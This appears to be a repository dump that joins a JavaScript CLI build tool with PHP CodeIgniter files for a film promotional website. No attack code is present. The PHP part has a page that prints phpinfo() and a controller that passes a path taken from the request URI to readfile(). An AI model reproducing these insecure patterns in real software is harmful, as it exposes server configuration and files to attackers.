import copyPostCSSConfig from './postcss/copy-config'
async function getSrc() {
if (await pathExists(`dev`)){
return `dev`
}
if (await pathExists(`src`)){
return `src`
}
return false
}
async function dev(options){
let args = []
if (!options.src){
options.src = await getSrc()
if (!options.src){
console.error(`No src directory found`)
process.exit(1)
}
console.log(`Found source directory`)
}
if (!options.dist){
if (options.src === `src`){
options.dist = `dist`
}
else{
options.dist = `dist-${options.src}`
}
}
args.push(`--out-dir`, `"${options.dist}"`)
if (await pathExists(`${options.src}/index.html`)){
console.log(`Found index.html`)
options.src = `${options.src}/index.html`
args.push(`--open`)
}
if (!options[`no-config`]) {
await Promise.all([
copyBabelConfig(options),
copyPostCSSConfig(options),
])
}
if (options[`no-hmr`]){
args.push(`--no-hmr`)
}
console.log(`Running dev in ${options.src}`)
const cmd = `parcel serve ${options.src}`
spawn(cmd, args, {
shell: true,
stdio: `inherit`
})
}
export default dev
<file_sep>/__tests__/cli.test.js
import { exec } from 'child-process-promise'
import renderer from 'react-test-renderer'
import React from 'react'
import { copy, readFile } from 'fs-extra'
import puppeteer from 'puppeteer'
import getPort from 'get-port'
import Server from 'static-server'
import { join } from 'path'
import { version } from '../package.json'
jest.setTimeout(60 * 1000)
describe(`CLI help`, () => {
it(`Should return something`, async () => {
let res = await exec(`babel-node dist version`)
expect(res.stdout).toEqual(`${version}\n`)
expect(res.stderr).toEqual(``)
})
})
describe(`Build`, () => {
beforeAll(async () => {
let res = await exec(`babel-node dist build --src src-test --dist dist-test`)
expect(res.stderr).toEqual(``)
})
it(`Should build a valid React component`, async () => {
let TestComponent = await import('../dist-test/component')
TestComponent = TestComponent.default
let component = renderer.create(
<TestComponent />
)
let tree = component.toJSON()
expect(tree).toMatchSnapshot()
})
it(`Should build a valid JavaScript module`, async () => {
let TestModule = await import('../dist-test/module')
TestModule = TestModule.default
expect(TestModule()).toEqual(19)
})
it(`Should exit on error`, async () => {
let res = await exec(`babel-node dist build --src asdf --dist dist-asdf`)
expect(res.stderr).toBeTruthy()
})
afterAll(async () => {
await exec(`rm -rf dist-test`)
})
})
describe(`Bundle`, () => {
let server
let browser
beforeAll(async () => {
server = new Server({
rootPath: `dist-bundle-test`,
port: await getPort(),
})
server.start()
browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox'],
})
let res = await exec(`babel-node dist bundle --src src-test/index.html --dist dist-bundle-test`)
expect(res.stderr).toEqual(``)
})
it(`Should build a valid React component`, async () => {
let page = await browser.newPage()
await page.goto(`http://localhost:${server.port}`)
await page.waitForSelector(`.test`)
const content = await page.$eval(`.test`, e => e.textContent)
expect(content).toEqual(`Testing.`)
})
it(`Should exit on error`, async () => {
let res = await exec(`babel-node dist bundle --src src-asdf/index.html --dist dist-asdf`)
expect(res.stderr).toBeTruthy()
})
afterAll(async () => {
server.stop()
await Promise.all([
browser.close(),
exec(`rm -rf dist-bundle-test`),
exec(`rm -rf dist-asdf`),
])
})
})
describe(`Rename`, () => {
beforeAll(async () => {
await Promise.all([
copy(`./package.json`, `./dist-test/package.json`),
copy(`./src-test/serverless.yml`, `./dist-test/serverless.yml`),
])
let res = await exec(`cd dist-test && babel-node ../dist rename`)
expect(res.stderr).toEqual(``)
})
it(`Should rename a package.json file`, async () => {
let pkg = await import(`../dist-test/package.json`)
expect(pkg.name).toEqual(`dist-test`)
})
it(`Should rename a serverless.yml file`, async () => {
let config = await readFile(`./dist-test/serverless.yml`)
config = config.toString()
config = config.split(`\n`)
expect(config[0]).toEqual(`service: dist-test`)
})
afterAll(async () => {
await exec(`rm -rf dist-test`)
})
})
describe(`Run`, () => {
it(`Should run a file with ES6`, async () => {
let res = await exec(`babel-node dist run --file src-test/run.js`)
expect(res.stderr).toEqual(``)
res = res.stdout.trim()
res = res.split(`\n`)
res = res.pop()
expect(res).toEqual(`19`)
})
it(`Should exit on error`, async () => {
let res = await exec(`babel-node dist run --file src-asdf/run.js`)
expect(res.stderr).toBeTruthy()
})
afterAll(async () => {
await exec(`rm -rf dist-test`)
})
})
<file_sep>/dev/index.js
import React from 'react'
import { render } from 'react-dom'
import Test from '../src-test/component'
let container = document.createElement('div')
document.body.appendChild(container)
render(
<Test />,
container
)<file_sep>/src/get-dist.js
import { stat } from 'fs-extra'
async function getDist(src){
let splitSrc = src.split('/')
if(!(await stat(src)).isDirectory()){
splitSrc.pop()
}
let dirName = splitSrc.pop()
splitSrc = splitSrc.join(`/`)
if(splitSrc) splitSrc = `${splitSrc}/`
if (dirName === 'src'){
return `${splitSrc}dist`
}
return `${splitSrc}dist-${dirName}`
}
export default getDist<file_sep>/src/bundle.js
import { spawn } from 'child-process-promise'
import { remove, pathExists } from 'fs-extra'
import { extname, parse } from 'path'
import copyBabelConfig from './babel/copy-config'
import copyPostCSSConfig from './postcss/copy-config'
import getDist from './get-dist'
async function getSrc() {
if (await pathExists(`dev`)){
return `dev`
}
if (await pathExists(`src`)){
return `src`
}
return false
}
async function bundle(options){
let args = []
if (!options.src){
options.src = await getSrc()
if (!options.src){
console.error(`No src directory found`)
process.exit(1)
}
console.log(`Found source directory`)
}
if (!extname(options.src)) {
if (await pathExists(`${options.src}/index.html`)) {
console.log(`Found index.html file`)
options.src = `${options.src}/index.html`
}
else if (await pathExists(`${options.src}/index.js`)) {
console.log(`Found index.js file`)
options.src = `${options.src}/index.js`
}
}
if (!options.dist) {
options.dist = await getDist(options.src)
}
args.push(`--out-dir`, `"${options.dist}"`)
let promises = [
remove(options.dist)
]
if (!options[`no-config`]) {
promises.push(
copyBabelConfig(options),
copyPostCSSConfig(options)
)
}
if(options.global){
args.push(`--global`, options.global)
}
await Promise.all(promises)
spawn(`parcel build ${options.src}`, args, {
shell: true,
stdio: `inherit`
})
}
export default bundle
<file_sep>/src/serve.js
import Server from 'static-server'
import getPort from 'get-port'
async function startServer(options = {}){
console.log(`Starting server pointed to ${options.dir}`)
options = {
open: options[`no-open`] ? false : true,
...options
}
if(options.src){
options.rootPath = options.src
delete options.src
}
if(!options.port){
options.port = await getPort({ port: 3000 })
}
const server = new Server(options)
server.start(() => console.log(`Started server on port ${server.port}`))
}
export default startServer<file_sep>/src/babel/copy-config.js
import { join } from 'path'
import { outputJson } from 'fs-extra'
import createConfig from './config'
async function copyConfig(options){
console.log(`Copying Babel config...`)
const config = createConfig(options)
await outputJson(`.babelrc`, config, { spaces: `\t` })
}
export default copyConfig<file_sep>/src/postcss/config.js
function createConfig(options) {
console.log(`Building PostCSS config...`)
const config = {
plugins: {
'postcss-import': {},
'postcss-cssnext': {},
'postcss-nested': {},
'lost': {},
},
}
return config
}
export default createConfig<file_sep>/src/build.js
import { remove } from 'fs-extra'
import { exec } from 'child-process-promise'
import copyBabelConfig from './babel/copy-config'
import copyPostCSSConfig from './postcss/copy-config'
import getDist from './get-dist'
async function buildBabel(options){
console.log('Building with Babel...')
if (!options.dist) {
options.dist = await getDist(options.src)
}
let promises = []
if (!options[`no-config`]) {
if(!options[`no-remove`]){
promises.push(remove(options.dist))
}
promises.push(
copyBabelConfig(options),
copyPostCSSConfig(options)
)
await Promise.all(promises)
}
await exec(`NODE_ENV=production babel ${options.src} --out-dir ${options.dist} --source-maps`)
}
export default buildBabel<file_sep>/src/tests.js
import { spawn } from 'child-process-promise'
import copyBabelConfig from './babel/copy-config'
async function runFile(options) {
if (!options[`no-config`]) {
await copyBabelConfig(options)
}
console.log(`Running tests...`)
try {
await spawn(`jest`, [], {
shell: true,
stdio: `inherit`
})
}
catch(err){
process.exit(1)
}
}
export default runFile
<file_sep>/src/reset.js
import { spawn } from 'child-process-promise'
import {
remove,
pathExists,
} from 'fs-extra'
import rename from './rename'
async function resetGit() {
if (!await pathExists(`.git`)) {
return console.log(`No .git directory found`)
}
console.log(`Resetting git...`)
await remove(`.git`)
await spawn([
`git init`,
`git add .`,
`git commit -m "Initial commit"`,
].join(` && `), [], {
shell: true,
stdio: `inherit`,
})
}
async function reset(options){
await rename(options)
await resetGit()
}
export default reset<file_sep>/src-test/module.js
function testFunction(){
return 10 + 9
}
export default testFunction<file_sep>/src/index.js
#!/usr/bin/env node
import program from 'subcommander'
import { exec } from 'child-process-promise'
import { name, version } from '../package.json'
import build from './build'
import bundle from './bundle'
import dev from './dev'
import serve from './serve'
import run from './run'
import rename from './rename'
import reset from './reset'
import test from './tests'
import babelConfig from './babel/copy-config'
import postcssConfig from './postcss/copy-config'
import eslintConfig from './eslint/copy-config'
program.command(`version`, {
desc: `Display ${name} version`,
callback: () => console.log(version)
})
program.command(`build`, {
desc: `Build distributable files`,
callback: build,
})
.option(`src`, {
default: `src`,
desc: `The source directory of your project`,
})
.option(`dist`, {
desc: `The distribution directory your project will compile to`,
})
.option(`no-remove`, {
desc: `Don't remove dist files before building`,
flag: true,
})
.option(`no-config`, {
desc: `Don't copy config files`,
flag: true,
})
program.command(`bundle`, {
desc: `Build distributable bundle`,
callback: bundle,
})
.option(`src`, {
default: `src`,
desc: `The source file of your project`,
})
.option(`dist`, {
desc: `The distribution file/directory your project will compile to`,
})
.option(`no-config`, {
desc: `Don't copy config files`,
flag: true,
})
.option(`global`, {
desc: `Export a global window variable`,
})
program.command(`dev`, {
desc: `Live develop in browser`,
callback: dev,
})
.option(`src`, {
desc: `The source directory or file of your project`,
})
.option(`dist`, {
desc: `The distribution directory of your project`,
})
.option(`no-hmr`, {
desc: `Disable hot module reloading`,
flag: true,
})
.option(`no-config`, {
desc: `Don't copy config files`,
flag: true,
})
program.command(`serve`, {
desc: `Serve a directory of static files`,
callback: serve,
})
.option(`src`, {
desc: `The directory to serve`,
default: `dist`,
})
.option(`no-open`, {
desc: `Prevents browser from opening`,
flag: true,
})
program.command(`run`, {
desc: `Run a file in Node.js`,
callback: run,
})
.option(`file`, {
desc: `The file to run`,
default: `./src/index`
})
.option(`no-config`, {
desc: `Don't copy config files`,
flag: true,
})
program.command(`rename`, {
desc: `Renames project files`,
callback: rename,
})
.option(`name`, {
desc: `The new name`
})
program.command(`reset`, {
desc: `Resets and renames project`,
callback: reset,
})
.option(`name`, {
desc: `The new name`
})
program.command(`test`, {
desc: `Runs tests`,
callback: test,
})
.option(`no-config`, {
desc: `Don't copy config files`,
flag: true,
})
let config = program.command(`config`, {
desc: `Copy config files`
})
config.command(`babel`, {
desc: `Copy Babel config`,
callback: babelConfig,
})
config.command('postcss', {
desc: `Copy PostCSS config`,
callback: postcssConfig,
})
config.command(`eslint`, {
desc: `Copy ESLint config`,
callback: eslintConfig,
})
config.command(`all`, {
desc: `Copy all configs`,
callback: async options => {
await Promise.all([
babelConfig(options),
postcssConfig(options),
eslintConfig(options),
])
}
})
program.parse()
| 9f329d7a5ac971a18d15079664fd739df04c9730 | [
"JavaScript"
] | 14 | JavaScript | tbaustin/legacy-esca-scripts | 68a143da406d7c74a15c44f63e0e8bca1adc8585 | 6e23fa2905aea78d27aeaa6c744646d7cd63c41e |
refs/heads/master | <file_sep><!DOCTYPE html>
<html xmlns:fb="http://ogp.me/ns/fb#">
<head>
<?php
$ua=getBrowser();
$urlinfo=getUrl();
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Test Information</title>
<script type="text/javascript">
</script>
</head>
<body>
<div id="container">
<div id="body">
<p><?php echo "Your browser: " . $ua['name'] . " " . $ua['version'] . " on " .$ua['platform'] . " reports: <br >" . $ua['userAgent'] . $ua['view_port'];?></p>
<p><?php echo "Your url: " . $urlinfo['current_url'];?></p>
</div>
<div id="phpinfo">
<?php print phpinfo(); ?>
</div>
<p class="footer">
Page rendered in <strong>{elapsed_time}</strong> seconds
</p>
</div>
<script type="text/javascript">
</script>
</body>
</html><file_sep><?php
$CI =& get_instance();
$CI->_add_css("css/main.css","head");
$CI->_add_css("css/video_playlist.css","head");
$CI->_add_css("css/home.css","head");
$CI->_add_css("css/gallery.css","head");
$CI->_add_js("js/main.js","footer");
$CI->_add_js("js/home.js","footer");
$CI->_add_js("js/gallery.js","footer");
$CI->_add_js("js/social.js","footer");
?>
<div id="skrollr-body" class="main-container hide">
<div id="home">
<div id="video">
<video class="video-bg" src="" loop></video>
<div class="video-texture"></div>
</div>
</div>
<div class="tribute section" data-7900="top:7935px" data-9150="top:9185px;" data-11936="top:8631px;">
</div>
<div class="tribute home-content" data-8400="top:700px;" data-11936="top: -30;">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-image" data-source="assets/img/home/tribute/quote-img.png" />
<div class="seals">
<div class="seal marcus">
<div class="container">
<span class="blocktext title1"><NAME></span>
<span class="blocktext title3">PETTY OFFICER FIRST CLASS</span>
<span class="team">SEAL TEAM TEN</span>
</div>
</div>
<div class="seal mikey">
<div class="container">
<span class="blocktext title1"><NAME></span>
<span class="blocktext title3">LIEUTENANT</span>
<span class="team">SEAL TEAM ONE</span>
</div>
</div>
<div class="seal axe">
<div class="container">
<span class="blocktext title1"><NAME></span>
<span class="blocktext title3">PETTY OFFICER SECOND CLASS</span>
<span class="team">SEAL TEAM ONE</span>
</div>
</div>
<div class="seal dietz">
<div class="container">
<span class="blocktext title1"><NAME></span>
<span class="blocktext title3">PETTY OFFICER SECOND CLASS</span>
<span class="team">SEAL TEAM TWO</span>
</div>
</div>
</div>
<div class="honor">
<div class="honor-title">WE HONOR THE BRAVE MEN AND WOMEN LOST IN BATTLE</div>
<div class="honor-subtitle">& THOSE WHO CONTINUE TO SERVE OUR COUNTRY TODAY.</div>
<div class="flag-image"></div>
<div class="honor-column">
<span class="honor-name-title"><NAME></span>
<span class="honor-rank">PETTY OFFICER FIRST CLASS</span>
<span class="honor-name-title"><NAME></span>
<span class="honor-rank">PETTY OFFICER FIRST CLASS</span>
<span class="honor-name-title"><NAME>R</span>
<span class="honor-rank">LIEUTENANT</span>
<span class="honor-name-title">K<NAME>ACOBY</span>
<span class="honor-rank">SERGEANT</span>
<span class="honor-name-title">COREY GOODNATURE</span>
<span class="honor-rank">CHIEF WARRANT OFFICER 3</span>
</div>
<div class="honor-column">
<span class="honor-name-title"><NAME></span>
<span class="honor-rank">PETTY OFFICER SECOND CLASS</span>
<span class="honor-name-title"><NAME></span>
<span class="honor-rank">SENIOR CHIEF PETTY OFFICER</span>
<span class="honor-name-title"><NAME></span>
<span class="honor-rank">CHIEF WARRANT OFFICER 4</span>
<span class="honor-name-title"><NAME></span>
<span class="honor-rank">SERGEANT FIRST CLASS</span>
<span class="honor-name-title"><NAME></span>
<span class="honor-rank">PETTY OFFICER SECOND CLASS</span>
</div>
<div class="honor-column">
<span class="honor-name-title"><NAME></span>
<span class="honor-rank">CHIEF PETTY OFFICER</span>
<span class="honor-name-title"><NAME></span>
<span class="honor-rank">SERGEANT FIRST CLASS</span>
<span class="honor-name-title"><NAME></span>
<span class="honor-rank">MASTER SERGEANT</span>
<span class="honor-name-title">SH<NAME></span>
<span class="honor-rank">STAFF SERGEANT</span>
<span class="honor-name-title"><NAME></span>
<span class="honor-rank">LIEUTENANT COMMANDER</span>
</div>
</div>
</div>
<div class="marcus section">
</div>
<div class="marcus home-content" data-0="top:686px;" data-2686="top: 486px;">
<div class="quote-top">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-top-img" data-source="assets/img/home/marcus/quote-img.png" />
</div>
<div class="job">
<div class="container">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" onclick="" class="icon" data-source="assets/img/home/marcus/medic-icon.png" />
<div class="job-content">
<span class="blocktext title2">NAVY MEDIC</span>
<p class="blocktext bodycopy share-tech">Respectfully referred to as "Doc," Navy Medics are frequently the only medical care-giver available in their unit. In battle, Medics must be ready to perform emergency medical treatment in an active combat environment. Navy Medics receive extensive training in the application of various medical techniques.</p>
</div>
</div>
</div>
<div class="bio">
<div class="container">
<span class="blocktext title3"><NAME></span>
<span class="blocktext title1"><NAME></span>
<p class="blocktext bodycopy share-tech">Leading Petty Officer <NAME> is the medic of Operation Red Wings and a member of SEAL Team 10 at Camp Ouellette-a home for the elite forces within Bagram Air Base, Afghanistan. Luttrell's team's mission is to gather intel on Ahmad Shah, a key Taliban leader believed to be hiding out in the mountainous terrain and responsible for many deaths. Like all good SEALs, Luttrell knows they are never out of the fight.</p>
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="role" data-source="assets/img/home/marcus/bio-job-img.png" />
</div>
</div>
<div class="quote-bot">
<div class="container">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-bot-text-img" data-source="assets/img/home/marcus/quote-large-text-img.png" />
<div class="quote-bot-img-wrapper">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-bot-img" data-source="assets/img/home/marcus/anim.gif" />
</div>
</div>
</div>
</div>
<div class="marcus fore left" data-0="top:1700px;" data-2686="top: 300px;">
</div>
<div class="mikey section">
</div>
<div class="mikey home-content" data-2000="top:686px;" data-4686="top: 486px;">
<div class="quote-top">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-top-img" data-source="assets/img/home/mikey/quote-img.png" />
</div>
<div class="job">
<div class="container">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="icon" data-source="assets/img/home/mikey/team-leader-icon.png" />
<div class="job-content">
<span class="blocktext title2">TEAM LEADER</span>
<p class="blocktext bodycopy share-tech">SEAL Team Leaders must operate at the height of courage and integrity to lead their team. Each team member looks to their Team Leader for final orders. They must often make difficult decisions under extreme pressure in order to ensure the safety of their team.</p>
</div>
</div>
</div>
<div class="bio">
<div class="container">
<span class="blocktext title3"><NAME></span>
<span class="blocktext title1">MICHA<NAME></span>
<p class="blocktext bodycopy share-tech">A FDNY firefighter, Lieutenant <NAME> (aka “Murph”) is the on-ground leader of Operation Red Wings. In advance of a bigger special operations force that will wipe out Shah, Murphy must take his four-man team through the rocky and treacherous Hindu Kush region. For his actions during the war in Afghanistan, Murphy was the first person here to be awarded the U.S. military’s highest decoration, the Medal of Honor.</p>
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="role" data-source="assets/img/home/mikey/bio-job-img.png" />
</div>
</div>
<div class="quote-bot">
<div class="container">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-bot-text-img" data-source="assets/img/home/mikey/quote-large-text-img.png" />
<div class="quote-bot-img-wrapper">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-bot-img" data-source="assets/img/home/mikey/anim.gif" />
</div>
</div>
</div>
</div>
<div class="mikey fore right" data-2686="top:3700px;" data-4686="top: 2300px;">
</div>
<div class="axe section">
</div>
<div class="axe home-content" data-4000="top:686px;" data-6686="top: 486px;">
<div class="quote-top">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-top-img" data-source="assets/img/home/axe/quote-img.png" />
</div>
<div class="job">
<div class="container">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="icon" data-source="assets/img/home/axe/comm-icon.png" />
<div class="job-content">
<span class="blocktext title2">NAVIGATION/SNIPER</span>
<p class="blocktext bodycopy share-tech">Snipers are precision marksmen who must achieve accuracy under various operational conditions. They must possess high proficiency in camouflage and concealment, as well as observation. Snipers also must also be able to accurately analyze wind speed, distance, and other atmospheric conditions.</p>
</div>
</div>
</div>
<div class="bio">
<div class="container">
<span class="blocktext title3"><NAME></span>
<span class="blocktext title1"><NAME></span>
<p class="blocktext bodycopy share-tech">Sonar Technician 2nd Class, navigation specialist Matthew “Axe” Axelson is nothing short of an eagle-eye. Before his men leave Bagram, he studies their infiltration plan again and again. Alongside Luttrell, Axe draws detailed maps, diagrams and blueprints of every structure in Shah’s village as they conduct recon. He knows this region better than most non-natives ever will.</p>
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="role" data-source="assets/img/home/axe/bio-job-img.png" />
</div>
</div>
<div class="quote-bot">
<div class="container">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-bot-text-img" data-source="assets/img/home/axe/quote-large-text-img.png" />
<div class="quote-bot-img-wrapper">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-bot-img" data-source="assets/img/home/axe/anim.gif" />
</div>
</div>
</div>
</div>
<div class="axe fore left" data-4686="top:5700px;" data-6686="top: 4300px;">
</div>
<div class="dietz section">
</div>
<div class="dietz home-content" data-6000="top:686px;" data-8686="top: 486px;">
<div class="quote-top">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-top-img" data-source="assets/img/home/dietz/quote-img.png" />
</div>
<div class="job">
<div class="container">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="icon" data-source="assets/img/home/dietz/sniper-icon.png" />
<div class="job-content">
<span class="blocktext title2">COMMUNICATIONS</span>
<p class="blocktext bodycopy share-tech">Navy SEALs in charge of communications must be able to operate every kind of communication gear. In combat, they will establish and maintain tactical and operational communications. In addition to technical knowledge, they require good eyesight, night vision, and physical conditioning.</p>
</div>
</div>
</div>
<div class="bio">
<div class="container">
<span class="blocktext title3"><NAME></span>
<span class="blocktext title1"><NAME></span>
<p class="blocktext bodycopy share-tech">Gunner’s Mate 2nd Class <NAME>. is a communications officer and spotter for SEAL Team 10 and particularly competitive when it comes to racing Murph. The mountains of the Hindu Kush are extraordinarily difficult and extremely spotty for comms, and Dietz is struggling to get any radio signal when it’s time to advise the evac team that the mission has been compromised and his fellow SEALs are ready to head back.</p>
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="role" data-source="assets/img/home/dietz/bio-job-img.png" />
</div>
</div>
<div class="quote-bot">
<div class="container">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-bot-text-img" data-source="assets/img/home/dietz/quote-large-text-img.png" />
<div class="quote-bot-img-wrapper">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-bot-img" data-source="assets/img/home/dietz/anim.gif" />
</div>
</div>
</div>
</div>
<div class="dietz fore right" data-6686="top:7700px;" data-8686="top: 6300px;">
</div>
</div>
<file_sep><?php
/* Copyright 2013 Hammer Technology Services, Inc. */
function getReleaseDateInfo($urlinfo) {
date_default_timezone_set('America/Los_Angeles'); // for east coast time zone use 'America/New_York'
$todays_date = gmdate("U");
$release_date = gmdate("U", mktime(0, 0, 0, 8, 30, 2013));
$release_date_string = "AUGUST 30";
if($urlinfo['isInternational']) {
$release_date = gmdate("U", mktime(0, 0, 0, 8, 29, 2013));
$release_date_string = "AUGUST 29";
}
$days_to_release = ceil(abs($release_date - $todays_date) / 86400);
return array(
'todays_date' => $todays_date,
'release_date' => $release_date,
'release_date_string' => $release_date_string,
'days_to_release' => $days_to_release,
);
}
<file_sep><?php
/**
*
* down here you can choose what urls should match the different environment names
*
* if you set a url like "example.com" for the "development" environment
* then http://example.com will use dev settings, but also http://www.example.com or http://anything.example.com
*
*/
$_environments_list = array(
/**
* development urls
*/
'development' => array(
'.local',
'.hammerlabs.com',
'192.168',
'.localdomain'
),
/**
* testing urls
*/
'testing' => array(
'upqa.com'
)
);
<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/* Copyright 2013 Hammer Technology Services, Inc. */
/*
* look for a lang key, and print it
*/
function p($k) {
echo _p($k);
}
/*
* look for a lang key, and return it
*/
function _p($k) {
$lang = getLang();
$ks = getKeys($lang);
if (isset($ks[$k])) return $ks[$k];
return $k;
}
function getLang() {
$uri = $_SERVER["REQUEST_URI"];
$parts = explode("/", $uri);
$CI =& get_instance();
$available_langs = $CI->config->item("available_langs");
$default_lang = $CI->config->item("default_lang");
if (is_array($parts) && count($parts) > 1) {
$lang = $parts[1];
if (in_array($lang, $available_langs)) return $lang;
}
return $default_lang;
}
function getKeys($lang) {
$allkeys = array();
$values = parseLangFile($lang);
foreach ($values as $k) {
if (isKey($k)) {
list($langKey, $langValue) = getPair($k);
$allkeys[$langKey] = $langValue;
}
}
return $allkeys;
}
function parseLangFile($lang) {
$f = APPPATH . "language/{$lang}.xml";
if (is_file($f)) {
$string = read_file($f);
$p = xml_parser_create();
xml_parse_into_struct($p, $string, $values);
xml_parser_free($p);
return $values;
} else {
return array();
}
}
function isKey($d) {
return ($d["tag"] == "KEY" && $d["type"] == "complete" && is_array($d["attributes"]) && isset($d["attributes"]["K"]) && isset($d["value"]));
}
function getPair($d) {
return array($d["attributes"]["K"], $d["value"]);
}<file_sep><?php if ( ! defined( 'BASEPATH' ) ) exit( 'No direct script access allowed' );
/* Copyright 2013 Hammer Technology Services, Inc. */
class Less extends CI_Controller {
function __construct() {
parent::__construct();
$this->load->library('lessc' );
$this->load->helper('url');
}
function index( ) {
$output = $_SERVER["REQUEST_URI"];
//$output = substr($output, 6);
$output = preg_replace("/(.*)\/less\//i",$this->config->item( 'less_route_replacement' )
."/",$output);
$input=str_replace(".css",".less",$output);
if (ENVIRONMENT == 'production') {
readfile($output);
} else {
$less = new lessc;
//print $input."\n";
//print $output."\n";
//print $this->config->item( 'less_route_replacement' )."\n";
try{
header("Content-Type: text/css");
$less->checkedCompile($input, $output);
readfile($output);
} catch (exception $ex){
print "LESSC FEHLER:";
print $ex->getMessage();
}
}
}
}
<file_sep><?php if ( ! defined( 'BASEPATH' ) ) exit( 'No direct script access allowed' );
/* Copyright 2013 Hammer Technology Services, Inc. */
class Fb extends CI_Controller {
public function index() {
header("Expires: 0");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");
require_once( 'fb/facebook.php' );
$this->load->library( 'session' );
$facebook = new Facebook( array(
'appId' => $this->config->item( 'fb_app_id' ),
'secret' => $this->config->item( 'fb_secret' )
) );
$user = $facebook->getUser();
if ( $user ) {
try {
$user_profile = $facebook->api( '/me' );
if ( isset( $user_profile[ 'id' ] ) ) {
$data[ 'provider' ] = 'facebook';
$data[ 'user_id' ] = $user_profile[ 'id' ];
if ( isset( $user_profile[ 'username' ] ) ) {
$data[ 'user_name' ] = $user_profile[ 'username' ];
}
$this->session->set_userdata( 'oauth_profile_data', $data );
}
} catch ( FacebookApiException $e ) {
error_log( $e );
$user = 0;
}
}
if ( $user ) {
} else {
$params = array(
'scope' => 'publish_stream'
);
$data[ 'login_url' ] = $facebook->getLoginUrl($params);
}
$data[ 'user' ] = $user;
$this->load->view( 'fb', $data );
}
public function post_feed() {
header("Expires: 0");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");
require_once( 'fb/facebook.php' );
$this->load->library( 'session' );
$this->load->library( 'input' );
$facebook = new Facebook( array(
'appId' => $this->config->item( 'fb_app_id' ),
'secret' => $this->config->item( 'fb_secret' )
) );
$message= $this->input->post('message');
$user = $facebook->getUser();
if ( $user ) {
try {
$ret_obj = $facebook->api('/me/feed', 'POST',
array(
'link' => 'http://thecapitol.pn',
'name' => 'A Message from the Citizen Control Center',
'description' => $message
));
$ret=array();
$ret["result"]=true;
$ret["msg"]="message transmitted";
echo json_encode($ret);
} catch ( FacebookApiException $e ) {
$ret=array();
$ret["result"]=false;
$ret["msg"]=$e->getMessage();
echo json_encode($ret);
}
}
else{
$ret=array();
$ret["result"]=false;
$ret["msg"]="Not authenticated";
echo json_encode($ret);
}
}
}<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/* Copyright 2013 Hammer Technology Services, Inc. */
class Device_redirect extends CI_Controller {
public function index() {
$this->load->helper('url');
$ua=getBrowser();
if ($this->config->item( 'use_php_redirects' ) == true) {
if ($ua['device_type']=="mobile"){
redirect( $this->config->item( 'mobile_redirect_url' ) );
}
else{
redirect('site');
}
} else {
$data=array();
$data['device_type'] = $ua['device_type'];
$data['mobile_redirect_url'] = $this->config->item( 'mobile_redirect_url' );
$data['desktop_url'] = 'site';
$js_redirect = $this->load->view('js_redirect', $data, true);
$this->output->append_output($js_redirect);
}
}
}
<file_sep><!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]> <html class="no-js lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js"> <!--<![endif]-->
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?php echo $title; ?></title>
<link rel="canonical" href="<?php echo $url; ?>" />
<meta name="description" content="<?php echo $desc; ?>">
<meta name="keywords" content="<?php echo $keywords; ?>">
<meta name="viewport" content="<?php echo $ua['view_port']; ?>">
<meta property="og:title" content="<?php echo $og_title; ?>" />
<meta property="og:description" content="<?php echo $desc; ?>" />
<meta property="og:url" content="<?php echo $url; ?>" />
<meta property="og:image" name="thumb" content="<?php echo $image; ?>" />
<meta property="og:type" content="movie" />
<meta property="og:site_name" content="<?php echo $title; ?>" />
<script type="text/javascript">
window.ga_account = "<?php echo $ga_account; ?>";
</script>
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="img/touch/apple-touch-icon-144x144-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="img/touch/apple-touch-icon-114x114-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="img/touch/apple-touch-icon-72x72-precomposed.png">
<link rel="apple-touch-icon-precomposed" href="img/touch/apple-touch-icon-57x57-precomposed.png">
